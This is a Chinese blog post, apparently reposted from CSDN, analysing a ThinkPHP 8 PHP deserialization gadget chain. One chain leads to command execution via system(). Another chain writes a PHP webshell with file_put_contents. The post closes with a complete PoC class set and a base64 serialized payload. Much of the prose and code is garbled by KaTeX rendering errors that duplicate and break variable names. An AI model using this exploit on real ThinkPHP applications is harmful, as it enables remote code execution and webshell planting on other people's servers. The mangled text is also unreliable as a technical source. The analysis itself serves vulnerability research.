首页 > 其他分享 >反序列化链分析

反序列化链分析

时间:2025-01-11 12:00:44浏览次数:3  
标签:Conversion 调用 链分析 value relation key hidden 序列化

反序列化链1
分析过程
Thinkphp8 反序列化调用链从ResourceRegister#__destruct()开始,最终调用到Validate#is()下,该方法下存在一个call_user_func_array()可供我们调用执行命令

反序列化链的起点在ResourceRegister#__destruct()下,其中 r e g i s t e r e d 初始化值为 f a l s e ,可以调用到 registered初始化值为false,可以调用到 registered初始化值为false,可以调用到this->register(),在register下由于 t h i s − > r e s o u r c e 可控,所以我们可以构造 this->resource可控,所以我们可以构造 this−>resource可控,所以我们可以构造this->resource = new Resource(),Resource类下存在一个parseGroupRule方法。

public function __destruct()
{
if (!$this->registered) {
KaTeX parse error: Expected 'EOF', got '}' at position 23: …egister(); }̲ } ![在这里插入图片描述]…this->resource->getRule(),在该方法里面返回的是$this->rule的内容,该值是可控的

public function getRule()
{
return KaTeX parse error: Expected 'EOF', got '}' at position 13: this->rule; }̲ 在parseGroupRul…rule中是否包含".",如果条件成立的话会进入到if语句中,接着会通过explode函数以“.”为分隔符划分$rule,接着进入到foreach中进行拼接字符串。

由于 o p t i o n = option= option=this->options,所以 o p t i o n s 数组是可控的,在 f o r e a c h 语句中,代码将 options数组是可控的,在foreach语句中,代码将 options数组是可控的,在foreach语句中,代码将val的内容和 o p t i o n [ ′ v a r ′ ] [ option['var'][ option[′var′][val]拼接起来,如果 o p t i o n [ ′ v a r ′ ] [ option['var'][ option[′var′][val]的值可控且是一个对象的时候,会调用到该对象的__toString(),这里需要利用到的对象是Conversion类的__toString()

可以构造 r u l e 的值为 " 1.1 " , rule的值为"1.1", rule的值为"1.1",this->option=[“var”=>[“1”=>new Conversion()]],那么当执行到字符串拼接部分的代码时,就会调用到Conversion类的__toString方法。

在这里插入图片描述
由于这里Conversion类的类型为trait,是不可以通过new Conversion()的形式实例化成一个对象的,所以这里需要用到Pivot类,该类继承自Model类,而Model类下使用到了model\concern\Conversion

在这里插入图片描述
在Conversion#toString()中先调用$this->toJson(),接着按照下面的调用栈,跟进到appendAttrToArray()

Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Conversion#appendAttrToArray()
在这里插入图片描述
在appendAttrToArray()中通过is_array()来判断 n a m e 是否是数组,这里的 name是否是数组,这里的 name是否是数组,这里的key和 n a m e 的值通过 name的值通过 name的值通过this->append得到

t h i s − > a p p e n d = [ " t e s t " = > [ ] ] / / 根据要求构造了 this->append = ["test"=>[]] //根据要求构造了 this−>append=["test"=>[]]//根据要求构造了this->append的值

foreach ($this->append as $key => $name) {
t h i s − > a p p e n d A t t r T o A r r a y ( this->appendAttrToArray( this−>appendAttrToArray(item, $key, $name, $visible, KaTeX parse error: Expected 'EOF', got '}' at position 10: hidden); }̲ 接着进入到this->getRelationWith()中,在Validate类的__call魔术方法中,使用到了call_user_func_array(),通过call_user_func_array()可以构造命令执行,所以我们的反序列链需要调用到Validate#__call()

这里需要令 r e l a t i o n 的值为 V a l i d a t e 对象,那么当程序执行到 relation的值为Validate对象,那么当程序执行到 relation的值为Validate对象,那么当程序执行到relation->hidden()时,由于Validate对象中并不存在hidden()方法,就会调用该对象里的__call()魔术方法。

而进入到 r e l a t i o n − > h i d d e n ( ) 的条件是 relation->hidden()的条件是 relation−>hidden()的条件是hidden[ k e y ] 必须存在, key]必须存在, key]必须存在,hidden[ k e y ] 是可控的,所以先进入到 key]是可控的,所以先进入到 key]是可控的,所以先进入到this->getRelation()中看看如何令 t h i s − > g e t R e l a t i o n ( ) 的返回值 this->getRelation()的返回值 this−>getRelation()的返回值relation为Validate对象在这里插入图片描述
这里我们利用return t h i s − > r e l a t i o n [ this->relation[ this−>relation[name]来返回我们的Validate对象。因为这里 n a m e 参数实际上就是传递进来的 name参数实际上就是传递进来的 name参数实际上就是传递进来的this->append的 k e y , key, key,this->relation的内容可控,这样返回的 t h i s − > r e l a t i o n [ this->relation[ this−>relation[name]就是new Validate()了

$this->append = [“test”=>[]]
t h i s − > this-> this−>relation = [“test”=>new Validate()]在这里插入图片描述
得到了 r e l a t i o n 之后,执行到 relation之后,执行到 relation之后,执行到relation->hidden( h i d d e n [ hidden[ hidden[key])时,就会调用到Validate#__call(),参数是 h i d d e n [ hidden[ hidden[key]

if (KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (isset(visible[$key])) {
r e l a t i o n − > v i s i b l e ( relation->visible( relation−>visible(visible[KaTeX parse error: Expected 'EOF', got '}' at position 12: key]); }̲ elseif (isset(hidden[$key])) {
r e l a t i o n − > h i d d e n ( relation->hidden( relation−>hidden(hidden[KaTeX parse error: Expected 'EOF', got '}' at position 12: key]); }̲ } 跟进到Validate#…this, ‘is’], a r g s ) 调用到该类下的 i s ( ) 方法,可以看到在 c a l l u s e r f u n c a r r a y ( ) 调用的回调函数是 args) 调用到该类下的is()方法,可以看到在call_user_func_array()调用的回调函数是 args)调用到该类下的is()方法,可以看到在callu​serf​unca​rray()调用的回调函数是this->type[ r u l e ] ,这里 rule],这里 rule],这里rule的值为hidden, v a l u e 就是 value就是 value就是hidden[$key]

t h i s − > t y p e = [ " h i d d e n " = > " s y s t e m " ] / / 通过 this->type = ["hidden"=>"system"] //通过 this−>type=["hidden"=>"system"]//通过this->type[$rule]得到回调函数system

在这里插入图片描述
参数 [ v a l u e ] 这里有一个坑,当使用 c a l l u s e r f u n c a r r a y ( ) 时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到 [ [value]这里有一个坑,当使用call_user_func_array()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[ [value]这里有一个坑,当使用callu​serf​unca​rray()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[value]里,所以这里call_user_func_array(“system”, [ v a l u e ] ) 只能接收一个字符串参数 value])只能接收一个字符串参数 value])只能接收一个字符串参数value

通过上面的分析我们已经知道 v a l u e 的值是通过 value的值是通过 value的值是通过hidden[ k e y ] 得到的,实际上 key]得到的,实际上 key]得到的,实际上hidden[$key]的值是一个数组,所以这里导致参数变成了[[“whoami”]]这种形式
KaTeX parse error: Expected 'EOF', got '#' at position 18: …dden从Conversion#̲toArray()中得到,如果…this->hidden=[“test”=>“whoami”]的形式,那么程序就会进入到 h i d d e n [ hidden[ hidden[val]=true,得到的$hidden=[“whoami”=>“true”]。

foreach ($this->hidden as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is_string(val)) {
if (str_contains(KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ [relation, $name] = explode(‘.’, $val);
h i d d e n [ hidden[ hidden[relation][] = $name;
} else {
h i d d e n [ hidden[ hidden[val] = true;
}
} else {
h i d d e n [ hidden[ hidden[key] = KaTeX parse error: Expected 'EOF', got '}' at position 10: val; }̲ } 所以我们需要一个类将参数…this->value,$this->value可控,所以我们可以构造所需的类。当程序执行到call_user_func_array(“system”, [new ConstStub()])时就会调用ConstStub的魔法方法__toString()返回一个字符串calc

$this->hidden = [“test”=> new ConstStub()]

namespace Symfony\Component\VarDumper\Caster{
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub{}
}
namespace Symfony\Component\VarDumper\Cloner{
class Stub{
public $value = “calc”;
}
}
在这里插入图片描述

在这里插入图片描述
在getValue()中,跟进 t h i s − > g e t R e a l F i e l d N a m e ( ) 可以看到返回值是可控的,接着会判断 this->getRealFieldName()可以看到返回值是可控的,接着会判断 this−>getRealFieldName()可以看到返回值是可控的,接着会判断this->get中是否存在 f i e l d N a m e 的键值,这里的 fieldName的键值,这里的 fieldName的键值,这里的this->get是可控的在这里插入图片描述
跟进到getJsonValue()中,可以看到在568行可以通过 c l o s u r e ( closure( closure(value[ k e y ] , key], key],value),参数全都是可控的,就可以通过file_put_contents去写入webshell

在这里插入图片描述
在代码中添加一个反序列化的入口点,执行反序列化之后可以看到在网站public目录下会生成一个webshell文件

在这里插入图片描述
反序列化调用链
ResourceRegister#__destruct()
ResourceRegister#__register()
Resource#__parseGroupRule()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Attribute#getAttr()
Attribute#getValue()
Attribute#getJsonValue()
完整poc

<?php namespace think { abstract class Model { private $data; protected $visible; protected $jsonAssoc; protected $json; private $withAttr; public function __construct() { $this->jsonAssoc = true; $this->data = ["test"=>["test"=>"kakaxsxs.php", "test2"=>"<?php phpinfo()?>"]];
        $this->visible = ["test"=>"test"];
        $this->json = ["test"=>"test"];
        $this->withAttr = ["test"=>["test"=>"file_put_contents"]];
    }
}

}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace think\route {
use think\model\Pivot;
class Rule {
protected $rule;
protected $option;
public function __construct() {
$this->rule = “1.1”;
$this->option = [“var”=>[“1”=>new Pivot()]];
}
}
class RuleGroup extends Rule {
public function __construct() {
parent::__construct();
}
}
class Resource extends RuleGroup {
public function __construct() {
parent::__construct();
}
}
class ResourceRegister {
protected $resource;
public function __construct() {
$this->resource = new Resource();
}
}
}

namespace {
KaTeX parse error: Undefined control sequence: \route at position 16: obj = new think\̲r̲o̲u̲t̲e̲\ResourceRegist…obj));
}

/*
TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoiMS4xIjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntpOjE7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoidGVzdCI7YToyOntzOjQ6InRlc3QiO3M6MTI6Imtha2F4c3hzLnBocCI7czo1OiJ0ZXN0MiI7czoxNzoiPD9waHAgcGhwaW5mbygpPz4iO319czoxMDoiACoAdmlzaWJsZSI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MTI6IgAqAGpzb25Bc3NvYyI7YjoxO3M6NzoiACoAanNvbiI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjQ6InRlc3QiO2E6MTp7czo0OiJ0ZXN0IjtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fX19fX19fQ==
*/

标签:Conversion,调用,链分析,value,relation,key,hidden,序列化
From: https://blog.csdn.net/Libao657/article/details/144720328

相关文章

  • 数据交互与序列化
    前后端分离意味着数据需要在网络中进行有效的传输,这时数据的序列化和反序列化就成了必须要攻克的关键环节。将Java中的对象转换为可以在网络中传输的格式(如JSON),并在接收端能够准确地还原为对应的对象,这个过程涉及到很多细节和配置。学习JSON序列化框架(如Jackson、FastJSON......
  • php反序列化
    一、序列化和反序列化1.什么是序列化和反序列化序列化(Serialization):把对象转换为字符串进行存储的过程反序列化(DeSerialization):把存储的字符串恢复为对象的过程2.应用场景:当对象需要被网络传输时当对象状态需要被持久化时3.序列化函数和反序列化函数:①序列化:seria......
  • json序列化时,默认遇到中文会转换成unicode,如果想要保留中文怎么办?
    在使用Python的json模块进行序列化时,默认情况下会将中文转换为Unicode编码。如果你希望在序列化时保留中文,可以通过设置ensure_ascii=False来实现。以下是示例代码:importjsondata={"name":"李浩瑞","age":30}#默认行为(中文会被转换成Unicode)json_def......
  • Spark 源码分析(一) SparkRpc中序列化与反序列化Serializer的抽象类解读 (java序列化部
    目录(3)JavaSerializerInstance定义了一个Java序列化实例(1)构造方法参数(2)方法1:serializeStream(3)方法2:deserializeStreamdefaultClassLoader(4)方法3:deserializeStreamloader(5)方法4:serialize(6)方法5:deserializeloader(7)方法6:deserializedefaul......
  • Spark 源码分析(一) SparkRpc中序列化与反序列化Serializer的抽象类解读 (正在更新中~)
    接上一章请先看解读序列化抽象类第一部分目录接上一章请先看解读序列化抽象类第一部分2.Java序列化实现类JavaSerializer(1)JavaSerializationStream类定义了一个java序列化流继承了SerializationStream抽象类代码实际例子1:序列化(2)JavaDeserializationStream......
  • jacksonjson 反序列化localdatetime指定格式输出
    在使用Jackson进行JSON反序列化时,如果需要将JSON中的日期时间字符串转换为LocalDateTime类型,并指定特定的格式,可以使用@JsonFormat注解。以下是具体的使用方法:1.添加依赖确保你的项目中已经引入了Jackson依赖。如果使用Maven,可以在pom.xml中添加以下依赖:<depe......
  • 【语法】序列化与反序列化
    详解Python中的序列化(简单易懂版)_python序列化-CSDN博客python序列化与反序列化_python序列化和反序列化-CSDN博客【背景】序列号是一个将数据结构或对象状态转换为可存储或传输的格式(如JSON、XML、二进制等)的过程。反序列化(Deserialization)则是这个过程的逆操作,即将存储或传......
  • 【剑指Offer刷题系列】序列化与反序列化二叉树
    目录问题描述示例示例1:示例2:示例3:示例4:提示思路解析核心思路:具体步骤:复杂度分析:代码实现Python实现测试代码复杂度分析时间复杂度空间复杂度问题描述序列化是将一个数据结构或者对象转换为连续的比特位的操作,进而可以将转换后的数据存储在一个文件或者内......
  • Web安全基础:反序列化漏洞详解(含PHP,Python示例)
    当系统接收和处理外部输入的数据时,可能会通过反序列化过程执行恶意代码或操作。这个漏洞的根本原因在于,系统对反序列化数据的处理不够严格,导致攻击者能够将精心构造的数据注入到反序列化流程中,进而达到远程代码执行、数据篡改、权限提升等目的。序列化与反序列化序列化:将......
  • 01java反序列化基础
    java反射的相关操作一些重要的方法获取类的⽅法:forName实例化类对象的⽅法:newInstance获取函数的⽅法:getMethod执⾏函数的⽅法:invoke//eg.反射获取任意类的任意方法并执行importjava.lang.reflect.Method;publicclassReflectionExample{publics......